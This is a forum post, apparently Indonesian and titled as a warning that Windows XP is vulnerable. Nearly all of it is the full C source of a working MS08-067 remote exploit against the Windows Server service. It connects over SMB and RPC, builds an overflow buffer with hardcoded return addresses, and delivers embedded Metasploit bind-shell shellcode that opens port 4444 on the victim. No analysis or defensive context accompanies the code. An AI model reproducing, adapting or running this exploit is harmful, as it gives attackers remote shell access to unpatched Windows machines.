Code:
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <io.h>
#include <fcntl.h>
#include <memory.h>
#include <wchar.h>
#include "srvsvc.h"
#include "srvsvc_c.c"
#include "mem.h"
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"mpr")
#pragma comment(lib,"rpcrt4.lib")
#pragma comment(lib,"MSVCRT.LIB")
DWORD dwRetAddr = 0x7ffa0eb8;
DWORD dwJmpAddr = 0x7ffa0eb7;
/* win32_bind - EXITFUNC=thread LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char sc[] =
"\x83\xEC\x70" // sub esp, 0x70
"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xad"
"\x07\xe6\x4a\x83\xeb\xfc\xe2\xf4\x51\x6d\x0d\x07\x45\xfe\x19\xb5"
"\x52\x67\x6d\x26\x89\x23\x6d\x0f\x91\x8c\x9a\x4f\xd5\x06\x09\xc1"
"\xe2\x1f\x6d\x15\x8d\x06\x0d\x03\x26\x33\x6d\x4b\x43\x36\x26\xd3"
"\x01\x83\x26\x3e\xaa\xc6\x2c\x47\xac\xc5\x0d\xbe\x96\x53\xc2\x62"
"\xd8\xe2\x6d\x15\x89\x06\x0d\x2c\x26\x0b\xad\xc1\xf2\x1b\xe7\xa1"
"\xae\x2b\x6d\xc3\xc1\x23\xfa\x2b\x6e\x36\x3d\x2e\x26\x44\xd6\xc1"
"\xed\x0b\x6d\x3a\xb1\xaa\x6d\x0a\xa5\x59\x8e\xc4\xe3\x09\x0a\x1a"
"\x52\xd1\x80\x19\xcb\x6f\xd5\x78\xc5\x70\x95\x78\xf2\x53\x19\x9a"
"\xc5\xcc\x0b\xb6\x96\x57\x19\x9c\xf2\x8e\x03\x2c\x2c\xea\xee\x48"
"\xf8\x6d\xe4\xb5\x7d\x6f\x3f\x43\x58\xaa\xb1\xb5\x7b\x54\xb5\x19"
"\xfe\x54\xa5\x19\xee\x54\x19\x9a\xcb\x6f\xf7\x16\xcb\x54\x6f\xab"
"\x38\x6f\x42\x50\xdd\xc0\xb1\xb5\x7b\x6d\xf6\x1b\xf8\xf8\x36\x22"
"\x09\xaa\xc8\xa3\xfa\xf8\x30\x19\xf8\xf8\x36\x22\x48\x4e\x60\x03"
"\xfa\xf8\x30\x1a\xf9\x53\xb3\xb5\x7d\x94\x8e\xad\xd4\xc1\x9f\x1d"
"\x52\xd1\xb3\xb5\x7d\x61\x8c\x2e\xcb\x6f\x85\x27\x24\xe2\x8c\x1a"
"\xf4\x2e\x2a\xc3\x4a\x6d\xa2\xc3\x4f\x36\x26\xb9\x07\xf9\xa4\x67"
"\x53\x45\xca\xd9\x20\x7d\xde\xe1\x06\xac\x8e\x38\x53\xb4\xf0\xb5"
"\xd8\x43\x19\x9c\xf6\x50\xb4\x1b\xfc\x56\x8c\x4b\xfc\x56\xb3\x1b"
"\x52\xd7\x8e\xe7\x74\x02\x28\x19\x52\xd1\x8c\xb5\x52\x30\x19\x9a"
"\x26\x50\x1a\xc9\x69\x63\x19\x9c\xff\xf8\x36\x22\x42\xc9\x06\x2a"
"\xfe\xf8\x30\xb5\x7d\x07\xe6\x4a";
int MakeBuff(char *Buff,int BufLen);
void Usage(char *ProgName);
int WaitExit();
#define CN 0
#define TW 1
void main(int argc, char *argv[])
{
NETRESOURCE lpNetResource;
char Username[256] = {0};
char Password[256] = {0};
DWORD Ret = 0;
RPC_STATUS status;
unsigned char * pszUuid = NULL;
unsigned char * pszProtocolSequence = "ncacn_np";
unsigned char * pszNetworkAddress = "";
unsigned char pszEndpoint[100] = "\\pipe\\browser";
unsigned char * pszOptions = NULL;
unsigned char * pszStringBinding = NULL;
char Server[256] = {0};
char RemoteName[256] = {0};
char Buff[0x700];
char Buff2[1000] = {0};
char *pBuff2 = (char *)&Buff2;
char Buff3[100] = {0};
int BufLen = 0;
// int i;
int ForceAttack = 0;
int AntiDEP = 0;
int nLanguage = 0;
DWORD dwID = 0;
if(argc != 2)
{
Usage(argv[0]);
return;
}
strcpy(Server,argv[1]);
sprintf(RemoteName,"\\\\%s\\IPC$",Server);
pszNetworkAddress = Server;
if(strlen(Server) == 0)
{
Usage(argv[0]);
return;
}
printf("\nMS08-067 Exploit for CN by [email protected]\n\n");
lpNetResource.dwScope=RESOURCE_CONNECTED;
lpNetResource.dwType =RESOURCETYPE_DISK;
lpNetResource.dwDisplayType=RESOURCEDISPLAYTYPE_SHARE;
lpNetResource.dwUsage=RESOURCEUSAGE_CONNECTABLE;
lpNetResource.lpLocalName=NULL;
lpNetResource.lpRemoteName = RemoteName;
lpNetResource.lpComment=NULL;
lpNetResource.lpProvider=NULL;
Ret = WNetAddConnection2(&lpNetResource,Username,Password,CONNECT_UPDATE_PROFILE);
if(Ret != NO_ERROR)
{
printf("Make SMB Connection error:%d\n",GetLastError());
return;
}
printf("SMB Connect OK!\n");
status = RpcStringBindingCompose(pszUuid,
pszProtocolSequence,
pszNetworkAddress,
pszEndpoint,
pszOptions,
&pszStringBinding);
if(status != RPC_S_OK)
{
return;
}
status = RpcBindingFromStringBinding(pszStringBinding,&srvsvc__MIDL_AutoBindHandle);
if(status != RPC_S_OK)
{
return;
}
RpcTryExcept
{
func23(L"ph4nt0m",(wchar_t *)"\x53\x00\x56\x89\x56\x89\x56\x89\x56\x89",(wchar_t *)"\x4D\x00\x56\x89\x56\x89",4,0);
memset(Buff,0,sizeof(Buff));
BufLen = MakeBuff(Buff,sizeof(Buff));
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WaitExit,(LPVOID)NULL,0,&dwID);
(DWORD)*(DWORD *)Buff3 = 1;
func1f(L"EMM!",(wchar_t *)Buff,Buff2,1000,L"",(DWORD *)Buff3,1);
}
RpcExcept ( 1 )
{
status = RpcExceptionCode();
if(status == 1726)
{
}
else
{
printf("RpcExceptionCode() = %u\r\n", status );
return;
}
}
RpcEndExcept
//*/
printf("Maybe Patched!\n");
RpcStringFree( &pszStringBinding );
RpcBindingFree( &srvsvc__MIDL_AutoBindHandle );
return;
}
#define JMPPOINT "B041"
int MakeBuff(char *Buff, int BufLen)
{
int len = 0;
char tmp[5] = {0};
int i;
for(i = 0; i < BufLen/4; i++)
{
memset(tmp,0,4);
sprintf(tmp,"B%03d",i);
//*
if(memcmp(tmp,JMPPOINT,4) == 0)
{
break;
}
//*/
memcpy(Buff + len,tmp,4);
len += 4;
}
memcpy(Buff,L".\\\\a\\..\\..\\NN",13*2);
for(i = 0; i < 6; i++)
{
memcpy(Buff + len,&dwRetAddr,4);
len += 4;
}
memcpy(Buff + len,&dwJmpAddr,4);
len += 4;
memset(Buff + len,0x48,0x4);
len += 4;
memcpy(Buff + len,sc,sizeof(sc) - 1);
len += sizeof(sc) - 1;
memcpy(Buff + len,"EMM!",4);
len += 4;
memset(Buff + 0x206 * 2,0,2);
return len;
}
void Usage(char *ProgName)
{
printf("\n MS08-067 Exploit for CN by [email protected]\n\n %s <Server>\n\n",ProgName);
return;
}
int WaitExit()
{
Sleep(1000 * 5);
printf("Send Payload Over!\n");
ExitProcess(0);
return 0;
}
[News]Waspada Windows XP Rentan Dibobol
Originally Posted by Pemuja-*****
wcry:
Share This Thread